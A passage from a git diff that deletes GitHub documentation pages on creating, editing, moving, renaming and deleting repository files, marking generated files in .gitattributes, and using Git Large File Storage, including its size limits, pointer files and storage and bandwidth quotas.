reusables.repositories.rulesets-push-rules-general-info-for-related-articles %} -{% endif %} - -{% data reusables.repositories.sensitive-info-warning %} - -{% data reusables.repositories.navigate-to-repo %} -1. In your repository, browse to the folder where you want to create a file. -{% data reusables.files.add-file %} -1. In the file name field, type the name and extension for the file. To create subdirectories, type the `/` directory separator. -1. In the file contents text box, type content for the file. -1. To review the new content, above the file contents, click **Preview**. -{% ifversion code-view-ui %} - ![Screenshot of a file in edit mode. Above the text box for editing file contents, a tab, labeled "Preview", outlined in dark orange.](/assets/images/help/repository/new-file-preview.png) -{% else %} - ![Screenshot of a file in edit mode. Above the text box for editing file contents, a tab, labeled "Preview", outlined in dark orange.](/assets/images/enterprise/repository/new-file-preview.png) -{% endif %} -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} diff --git a/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md b/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md deleted file mode 100644 index a1a016cc1027..000000000000 --- a/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Customizing how changed files appear on GitHub -intro: 'To keep certain files from displaying in diffs by default, or counting toward the repository language, you can mark them with the `linguist-generated` attribute in a *.gitattributes* file.' -redirect_from: - - /articles/customizing-how-changed-files-appear-on-github - - /github/administering-a-repository/customizing-how-changed-files-appear-on-github - - /github/administering-a-repository/managing-repository-settings/customizing-how-changed-files-appear-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: How changed files appear ---- -Use a _.gitattributes_ file to mark files that match a given "pattern" with the specified attributes. A _.gitattributes_ file uses the same rules for matching as _.gitignore_ files. For more information, see [PATTERN FORMAT](https://www.git-scm.com/docs/gitignore#_pattern_format) in the Git documentation. - -1. Unless the _.gitattributes_ file already exists, create a _.gitattributes_ file in the root of the repository. -1. Use the `linguist-generated` attribute to mark or unmark paths that you would like to be ignored for the repository's language statistics and hidden by default in diffs. - - For example, to mark `search/index.json` as a generated file, add this line to _.gitattributes_: - - ```text - search/index.json linguist-generated=true - ``` - -## Further reading - -* [Generated code](https://github.com/github-linguist/linguist/blob/main/docs/overrides.md#generated-code) in the Linguist documentation -* [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files) diff --git a/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md b/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md deleted file mode 100644 index dc138c6a387f..000000000000 --- a/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Deleting files in a repository -intro: 'You can delete an individual file or an entire directory in your repository on {% data variables.product.github %}.' -redirect_from: - - /articles/deleting-files - - /github/managing-files-in-a-repository/deleting-files - - /github/managing-files-in-a-repository/deleting-a-file-or-directory - - /github/managing-files-in-a-repository/deleting-files-in-a-repository - - /github/managing-files-in-a-repository/managing-files-on-github/deleting-files-in-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: 'People with write permissions can delete files or directories in a repository.' -topics: - - Repositories -shortTitle: Delete files ---- -## About file and directory deletion - -You can delete an individual file in your repository or an entire directory, including all the files in the directory. - -If you try to delete a file or directory in a repository that you don’t have write permissions to, we'll fork the project to your personal account and help you send a pull request to the original repository after you commit your change. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -If the file or directory you deleted contains sensitive data, the data will still be available in the repository's Git history. To completely remove the file from {% data variables.product.github %}, you must remove the file from your repository's history. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). - -## Deleting a file - -1. Browse to the file in your repository that you want to delete. -{% ifversion code-view-ui %} -1. In the top-right corner, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} dropdown menu, then click **Delete file**. - - ![Screenshot of the file list for a directory. To the right of the directory name, a button, labeled with a kebab icon, is outlined in dark orange.](/assets/images/help/repository/delete-file-button.png) -{% else %} -1. At the top of the file, click {% octicon "trash" aria-label="The trash icon" %}. -{% endif %} -{% data reusables.files.commit-message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} - -## Deleting a directory - -1. Browse to the directory in your repository that you want to delete. -1. In the top-right corner, select the {% octicon "kebab-horizontal" aria-label="More options" %} dropdown menu, then click **Delete directory**. - - ![Screenshot of the file list for a directory. To the right of the directory name, a button, labeled with a kebab icon, is outlined in dark orange.](/assets/images/help/repository/delete-directory-button.png) -1. Review the files you will delete. -{% data reusables.files.commit-message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} diff --git a/content/repositories/working-with-files/managing-files/editing-files.md b/content/repositories/working-with-files/managing-files/editing-files.md deleted file mode 100644 index 9601cd38fbcc..000000000000 --- a/content/repositories/working-with-files/managing-files/editing-files.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Editing files -intro: 'You can edit files directly on {% data variables.product.github %} in any of your repositories using the file editor.' -redirect_from: - - /articles/editing-files - - /articles/editing-files-in-your-repository - - /github/managing-files-in-a-repository/editing-files-in-your-repository - - /articles/editing-files-in-another-user-s-repository - - /github/managing-files-in-a-repository/editing-files-in-another-users-repository - - /github/managing-files-in-a-repository/managing-files-on-github/editing-files-in-your-repository - - /github/managing-files-in-a-repository/managing-files-on-github/editing-files-in-another-users-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Edit files ---- - -## Editing files in your repository - -> [!TIP] -> {% data reusables.repositories.protected-branches-block-web-edits-uploads %} - -> [!NOTE] -> {% data variables.product.github %}'s file editor uses [CodeMirror](https://codemirror.net/). - -1. In your repository, browse to the file you want to edit. -{% data reusables.repositories.edit-file %} -1. In the text box, make any changes you need to the file. -{% data reusables.files.preview_change %} -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} - -## Editing files in another user's repository - -When you edit a file in another user's repository, we'll automatically [fork the repository](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo) and [open a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) for you. - -1. In another user's repository, browse to the folder that contains the file you want to edit. Click the name of the file you want to edit. -1. Above the file content, click {% octicon "pencil" aria-label="Edit file" %}. On the page that appears, click **Fork this repository**. -1. In the text box, make any changes you need to the file. -{% data reusables.files.preview_change %} -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -1. Click **Propose changes**. -1. Type a title and description for your pull request. -1. Click **Create pull request**. diff --git a/content/repositories/working-with-files/managing-files/index.md b/content/repositories/working-with-files/managing-files/index.md deleted file mode 100644 index 077a041aef1f..000000000000 --- a/content/repositories/working-with-files/managing-files/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Managing files -intro: 'You can create, edit, move, and delete files in a repository, directly on {% data variables.product.github %} or on the command line.' -redirect_from: - - /articles/managing-files-on-github - - /github/managing-files-in-a-repository/managing-files-on-github - - /github/managing-files-in-a-repository/managing-files-using-the-command-line -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /creating-new-files - - /adding-a-file-to-a-repository - - /moving-a-file-to-a-new-location - - /editing-files - - /renaming-a-file - - /deleting-files-in-a-repository - - /customizing-how-changed-files-appear-on-github ---- - diff --git a/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md b/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md deleted file mode 100644 index d4ad351538b3..000000000000 --- a/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Moving a file to a new location -intro: 'You can move a file to a different directory on {% data variables.product.github %} or by using the command line.' -redirect_from: - - /articles/moving-a-file-to-a-new-location - - /github/managing-files-in-a-repository/moving-a-file-to-a-new-location - - /articles/moving-a-file-to-a-new-location-using-the-command-line - - /github/managing-files-in-a-repository/moving-a-file-to-a-new-location-using-the-command-line - - /github/managing-files-in-a-repository/managing-files-on-github/moving-a-file-to-a-new-location - - /github/managing-files-in-a-repository/managing-files-using-the-command-line/moving-a-file-to-a-new-location-using-the-command-line -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Move a file ---- -In addition to changing the file location, you can also [update the contents of your file](/repositories/working-with-files/managing-files/editing-files), or [give it a new name](/repositories/working-with-files/managing-files/renaming-a-file) in the same commit. - -## Moving a file to a new location on {% data variables.product.github %} - -> [!TIP] -> * If you try to move a file in a repository that you don’t have access to, we'll fork the project to your personal account and help you send [a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) to the original repository after you commit your change. -> * Some files, such as images, require that you move them from the command line. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location). -> * {% data reusables.repositories.protected-branches-block-web-edits-uploads %} - -1. In your repository, browse to the file you want to move. -{% data reusables.repositories.edit-file %} -1. In the filename field, change the name of the file using these guidelines: - * To move the file **into a subfolder**, type the name of the folder you want, followed by `/`. Your new folder name becomes a new item in the navigation breadcrumbs. - * To move the file into a directory **above the file's current location**, place your cursor at the beginning of the filename field, then either type `../` to jump up one full directory level, or type the `backspace` key to edit the parent folder's name. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} - -## Moving a file to a new location using the command line - -You can use the command line to move files within a repository by removing the file from the old location and then adding it in the new location. - -Many files can be [moved directly on {% data variables.product.github %}](/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location), but some files, such as images, require that you move them from the command line. - -{% data reusables.command_line.manipulating_file_prereqs %} - -1. On your computer, move the file to a new location within the directory that was created locally on your computer when you cloned the repository. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Use `git status` to check the old and new file locations. - - ```shell - $ git status - > # On branch YOUR-BRANCH - > # Changes not staged for commit: - > # (use "git add/rm ..." to update what will be committed) - > # (use "git checkout -- ..." to discard changes in working directory) - > # - > # deleted: /OLD-FOLDER/IMAGE.PNG - > # - > # Untracked files: - > # (use "git add ..." to include in what will be committed) - > # - > # /NEW-FOLDER/IMAGE.PNG - > # - > # no changes added to commit (use "git add" and/or "git commit -a") - ``` - -{% data reusables.git.stage_for_commit %} This will delete, or `git rm`, the file from the old location and add, or `git add`, the file to the new location. - - ```shell - $ git add . - # Adds the file to your local repository and stages it for commit. - # {% data reusables.git.unstage-codeblock %} - ``` - -1. Use `git status` to check the changes staged for commit. - - ```shell - $ git status - > # On branch YOUR-BRANCH - > # Changes to be committed: - > # (use "git reset HEAD ..." to unstage) - > # - > # renamed: /old-folder/image.png -> /new-folder/image.png - # Displays the changes staged for commit - ``` - -{% data reusables.git.commit-file %} - - ```shell - $ git commit -m "Move file to new directory" - # Commits the tracked changes and prepares them to be pushed to a remote repository. - # {% data reusables.git.reset-head-to-previous-commit-codeblock %} - ``` - -{% data reusables.git.git-push %} diff --git a/content/repositories/working-with-files/managing-files/renaming-a-file.md b/content/repositories/working-with-files/managing-files/renaming-a-file.md deleted file mode 100644 index 41238823f446..000000000000 --- a/content/repositories/working-with-files/managing-files/renaming-a-file.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Renaming a file -intro: 'You can rename any file in your repository directly in {% data variables.product.github %} or by using the command line.' -redirect_from: - - /articles/renaming-a-file - - /github/managing-files-in-a-repository/renaming-a-file - - /articles/renaming-a-file-using-the-command-line - - /github/managing-files-in-a-repository/renaming-a-file-using-the-command-line - - /github/managing-files-in-a-repository/managing-files-on-github/renaming-a-file - - /github/managing-files-in-a-repository/managing-files-using-the-command-line/renaming-a-file-using-the-command-line -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -## Renaming a file on {% data variables.product.github %} - -Renaming a file also gives you the opportunity to [move the file to a new location](/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location). - -> [!TIP] -> * If you try to rename a file in a repository that you don’t have access to, we will fork the project to your personal account and help you send [a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) to the original repository after you commit your change. -> * File names created via the web interface can only contain alphanumeric characters and hyphens (`-`). To use other characters, create and commit the files locally and then push them to the repository. -> * Some files, such as images, require that you rename them from the command line. For more information, see [Renaming a file using the command line](#renaming-a-file-using-the-command-line). - -1. In your repository, browse to the file you want to rename. -{% data reusables.repositories.edit-file-button %} -1. In the filename field, change the name of the file to the new filename you want. You can also update the contents of your file at the same time. -![Screenshot showing a repository file open for editing in the web browser. The file name field is active and highlighted with a dark orange outline.](/assets/images/help/repository/changing-file-name.png) -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} - -## Renaming a file using the command line - -You can use the command line to rename any file in your repository. - -Many files can be renamed directly on {% data variables.product.github %}, but some files, such as images, require that you rename them from the command line. - -{% data reusables.command_line.manipulating_file_prereqs %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.switching_directories_procedural %} -1. Rename the file, specifying the old file name and the new name you'd like to give the file. This will stage your change for commit. - - ```shell - git mv OLD-FILENAME NEW-FILENAME - ``` - -1. Use `git status` to check the old and new file names. - - ```shell - $ git status - > # On branch YOUR-BRANCH - > # Changes to be committed: - > # (use "git reset HEAD ..." to unstage) - > # - > # renamed: OLD-FILENAME -> NEW-FILENAME - > # - ``` - -{% data reusables.git.commit-file %} - - ```shell - $ git commit -m "Rename file" - # Commits the tracked changes and prepares them to be pushed to a remote repository. - # {% data reusables.git.reset-head-to-previous-commit-codeblock %} - ``` - -{% data reusables.git.git-push %} diff --git a/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md b/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md deleted file mode 100644 index e4fbbf85fa28..000000000000 --- a/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: About Git Large File Storage -intro: '{% data variables.product.github %} limits the size of files allowed in repositories. To track files beyond this limit, you can use {% data variables.large_files.product_name_long %}.' -redirect_from: - - /articles/about-large-file-storage - - /articles/about-git-large-file-storage - - /github/managing-large-files/about-git-large-file-storage - - /github/managing-large-files/versioning-large-files/about-git-large-file-storage -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Git Large File Storage ---- - -## About {% data variables.large_files.product_name_long %} - -{% data variables.large_files.product_name_short %} handles large files by storing references to the file in the repository, but not the actual file itself. To work around Git's architecture, {% data variables.large_files.product_name_short %} creates a pointer file which acts as a reference to the actual file (which is stored somewhere else). {% data variables.product.github %} manages this pointer file in your repository. When you clone the repository down, {% data variables.product.github %} uses the pointer file as a map to go and find the large file for you. - -{% ifversion fpt or ghec %} -Different maximum size limits for {% data variables.large_files.product_name_short %} apply depending on your {% data variables.product.prodname_dotcom %} plan. - -| Product | Maximum file size | -|------- | ------- | -| {% data variables.product.prodname_free_user %} | 2 GB | -| {% data variables.product.prodname_pro %} | 2 GB | -| {% data variables.product.prodname_team %} | 4 GB | -| {% data variables.product.prodname_ghe_cloud %} | 5 GB | - -{% else %} -Using {% data variables.large_files.product_name_short %}, you can store files up to 5 GB in your repository. -{% endif %} - -{% data reusables.repositories.git-lfs %} - -You can also use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}. For more information about cloning Git LFS repositories in {% data variables.product.prodname_desktop %}, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop). - -{% data reusables.large_files.can-include-lfs-objects-archives %} - -## Pointer file format - -{% data variables.large_files.product_name_short %}'s pointer file looks like this: - -```text -version {% data variables.large_files.version_name %} -oid sha256:4cac19622fc3ada9c0fdeadb33f88f367b541f38b89102a3f1261ac81fd5bcb5 -size 84977953 -``` - -It tracks the `version` of {% data variables.large_files.product_name_short %} you're using, followed by a unique identifier for the file (`oid`). It also stores the `size` of the final file. - -> [!NOTE] -> * {% data variables.large_files.product_name_short %} cannot be used with {% data variables.product.prodname_pages %} sites. -> * {% data variables.large_files.product_name_short %} cannot be used with template repositories. - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage) diff --git a/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md deleted file mode 100644 index 9ce473e78917..000000000000 --- a/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: About large files on GitHub -intro: '{% data variables.product.github %} limits the size of files you can track in regular Git repositories. Learn how to track or remove files that are beyond the limit.' -redirect_from: - - /articles/distributing-large-binaries - - /github/managing-large-files/distributing-large-binaries - - /github/managing-large-files/working-with-large-files/distributing-large-binaries - - /articles/removing-files-from-a-repository-s-history - - /articles/removing-files-from-a-repositorys-history - - /github/managing-large-files/removing-files-from-a-repositorys-history - - /github/managing-large-files/working-with-large-files/removing-files-from-a-repositorys-history - - /articles/conditions-for-large-files - - /github/managing-large-files/conditions-for-large-files - - /github/managing-large-files/working-with-large-files/conditions-for-large-files - - /articles/what-is-the-size-limit-for-a-repository - - /articles/what-is-my-disk-quota - - /github/managing-large-files/what-is-my-disk-quota - - /github/managing-large-files/working-with-large-files/what-is-my-disk-quota -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Large files ---- - -## About size limits on {% data variables.product.github %} - -{% data variables.product.github %} tries to provide abundant storage for all Git repositories, although there are hard limits for file {% ifversion fpt or ghec %}and repository sizes{% else %} sizes and recommendations for repository sizes{% endif %}. {% ifversion fpt or ghec %}To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure.{% endif %} - -### File size limits - -{% data variables.product.github %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see [Removing files from a repository's history](#removing-files-from-a-repositorys-history). - -> [!NOTE] -> If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository). - -{% ifversion ghes %}By default, {% data variables.product.prodname_ghe_server %}{% else %}{% data variables.product.github %}{% endif %} blocks files larger than {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise).{% endif %} - -To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage). - -If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %} instead of tracking the files. For more information, see [Distributing large binaries](#distributing-large-binaries). - -Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using a file sharing service. - -{% ifversion fpt or ghec %} - -### Repository size limits - -We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository. - -External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](https://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources. - -Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/). -{% endif %} - -{% ifversion ghes %} - -### Repository size recommendations - -We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. Smaller repositories are faster to clone and easier to work with and maintain. - -You can prevent your repository from impacting your infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [github/git-sizer](https://github.com/github/git-sizer) repository. -{% endif %} - -## Removing files from a repository's history - -> [!WARNING] -> These procedures will permanently remove files from the repository on your computer and {% data variables.location.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository. - -### Removing a file added in the most recent unpushed commit - -If the file was added with your most recent commit, and you have not pushed to {% data variables.location.product_location %}, you can delete the file and amend the commit: - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.switching_directories_procedural %} -1. To remove the file, enter `git rm --cached`: - - ```shell - $ git rm --cached GIANT_FILE - # Stage our giant file for removal, but leave it on disk - ``` - -1. Commit this change using `--amend -CHEAD`: - - ```shell - $ git commit --amend -CHEAD - # Amend the previous commit with your change - # Simply making a new commit won't work, as you need - # to remove the file from the unpushed history as well - ``` - -1. Push your commits to {% data variables.location.product_location %}: - - ```shell - $ git push - # Push our rewritten, smaller commit - ``` - -### Removing a file that was added in an earlier commit - -If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, we recommend the `git filter-repo` command. For more information see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). - -> Alternatively, if you don't want to install an additional tool, you could use an interactive rebase to remove problematic commits. To do this: -> -> * You must know which commit(s) added or modified the file in question. -> * The commit(s) must be part of only one branch. -> * The one branch that the commits belong to must have had no merges since the commit(s) were applied. -> -> For more information about interactive rebases, see [AUTOTITLE](/get-started/using-git/using-git-rebase-on-the-command-line). If you are unsure if you meet the necessary conditions for fixing with an interactive rebase, you should use `git filter-repo`. - -## Distributing large binaries - -If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit [AUTOTITLE](/repositories/releasing-projects-on-github/about-releases). - -{% ifversion fpt or ghec %} - -We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}. - -{% endif %} diff --git a/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md b/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md deleted file mode 100644 index 2408624d118c..000000000000 --- a/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: About storage and bandwidth usage -intro: '{% data reusables.large_files.free-storage-bandwidth-amount %}' -redirect_from: - - /articles/billing-plans-for-large-file-storage - - /articles/billing-plans-for-git-large-file-storage - - /articles/about-storage-and-bandwidth-usage - - /github/managing-large-files/about-storage-and-bandwidth-usage - - /github/managing-large-files/versioning-large-files/about-storage-and-bandwidth-usage -versions: - fpt: '*' - ghec: '*' -shortTitle: Storage & bandwidth ---- -{% data variables.large_files.product_name_short %} is available for every repository on {% data variables.product.github %}, whether or not your account or organization has a paid subscription. - -## Tracking storage and bandwidth use - -When you commit and push a change to a file tracked with {% data variables.large_files.product_name_short %}, a new version of the entire file is pushed and the total file size is counted against the repository owner's storage limit. When you download a file tracked with {% data variables.large_files.product_name_short %}, the total file size is counted against the repository owner's bandwidth limit. {% data variables.large_files.product_name_short %} uploads do not count against the bandwidth limit. - -For example: -* If you push a 500 MB file to {% data variables.large_files.product_name_short %}, you'll use 500 MB of your allotted storage and none of your bandwidth. If you make a 1 byte change and push the file again, you'll use another 500 MB of storage and no bandwidth, bringing your total usage for these two pushes to 1 GB of storage and zero bandwidth. -* If you download a 500 MB file that's tracked with LFS, you'll use 500 MB of the repository owner's allotted bandwidth. If a collaborator pushes a change to the file and you pull the new version to your local repository, you'll use another 500 MB of bandwidth, bringing the total usage for these two downloads to 1 GB of bandwidth. -* If {% data variables.product.prodname_actions %} downloads a 500 MB file that is tracked with LFS, it will use 500 MB of the repository owner's allotted bandwidth. - -If {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in [source code archives](/repositories/working-with-files/using-files/downloading-source-code-archives) for your repository, downloads of those archives will count towards bandwidth usage for the repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository). - -> [!TIP] -> * {% data reusables.large_files.owner_quota_only %} -> * {% data reusables.large_files.does_not_carry %} - -## Storage quota - -If you use more than {% data variables.large_files.initial_storage_quota %} of storage without purchasing a data pack, you can still clone repositories with large assets, but you will only retrieve the pointer files, and you will not be able to push new files back up. For more information about pointer files, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage#pointer-file-format). - -## Bandwidth quota - -If you use more than {% data variables.large_files.initial_bandwidth_quota %} of bandwidth per month without purchasing a data pack, {% data variables.large_files.product_name_short %} support is disabled on your account until the next month. - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage) -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage) diff --git a/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md b/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md deleted file mode 100644 index d272a12e397e..000000000000 --- a/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Collaboration with Git Large File Storage -intro: 'With {% data variables.large_files.product_name_short %} enabled, you''ll be able to fetch, modify, and push large files just as you would expect with any file that Git manages. However, a user that doesn''t have {% data variables.large_files.product_name_short %} will experience a different workflow.' -redirect_from: - - /articles/collaboration-with-large-file-storage - - /articles/collaboration-with-git-large-file-storage - - /github/managing-large-files/collaboration-with-git-large-file-storage - - /github/managing-large-files/versioning-large-files/collaboration-with-git-large-file-storage -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Collaboration ---- -If collaborators on your repository don't have {% data variables.large_files.product_name_short %} installed, they won't have access to the original large file. If they attempt to clone your repository, they will only fetch the pointer files, and won't have access to any of the actual data. - -> [!TIP] -> To help users without {% data variables.large_files.product_name_short %} enabled, we recommend you set guidelines for repository contributors that describe how to work with large files. For example, you may ask contributors not to modify large files, or to upload changes to a file sharing service like [Dropbox](http://www.dropbox.com/) or [Google Drive](https://drive.google.com). For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors). - -## Viewing large files in pull requests - -{% data variables.product.github %} does not render some {% data variables.large_files.product_name_short %} objects in pull requests. Only the pointer file is shown, with contents similar to the following: - -```text -+version https://git-lfs.github.com/spec/vi -+id sha256:7194bdd797bde471a6e29b4fa9c8c2278b3c4dadfc5cb2c36d7f4531dc6cb8f -+size 17330 -``` - -For more information about pointer files, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage#pointer-file-format). - -To view changes made to large files, check out the pull request locally to review the diff. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally). - -{% ifversion fpt or ghec %} - -## Pushing large files to forks - -Pushing large files to forks of a repository count against the parent repository's bandwidth and storage quotas, rather than the quotas of the fork owner. - -You can push {% data variables.large_files.product_name_short %} objects to public forks if the repository network already has {% data variables.large_files.product_name_short %} objects or you have write access to the root of the repository network. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/duplicating-a-repository#mirroring-a-repository-that-contains-git-large-file-storage-objects) diff --git a/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md b/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md deleted file mode 100644 index 1ab3d42cf659..000000000000 --- a/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Configuring Git Large File Storage -intro: 'Once [{% data variables.large_files.product_name_short %} is installed](/articles/installing-git-large-file-storage/), you need to associate it with a large file in your repository.' -redirect_from: - - /articles/configuring-large-file-storage - - /articles/configuring-git-large-file-storage - - /github/managing-large-files/configuring-git-large-file-storage - - /github/managing-large-files/versioning-large-files/configuring-git-large-file-storage -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Configure Git LFS ---- -If there are existing files in your repository that you'd like to use with {% data variables.product.github %}, you need to first remove them from the repository and then add them to {% data variables.large_files.product_name_short %} locally. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage). - -{% data reusables.large_files.resolving-upload-failures %} - -{% ifversion ghes %} - -> [!NOTE] -> Before trying to push a large file to {% data variables.product.prodname_ghe_server %}, make sure that you've enabled {% data variables.large_files.product_name_short %} on your enterprise. For more information, see [AUTOTITLE](/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise). - -{% endif %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change your current working directory to an existing repository you'd like to use with {% data variables.large_files.product_name_short %}. -1. To associate a file type in your repository with {% data variables.large_files.product_name_short %}, enter `git {% data variables.large_files.command_name %} track` followed by the name of the file extension you want to automatically upload to {% data 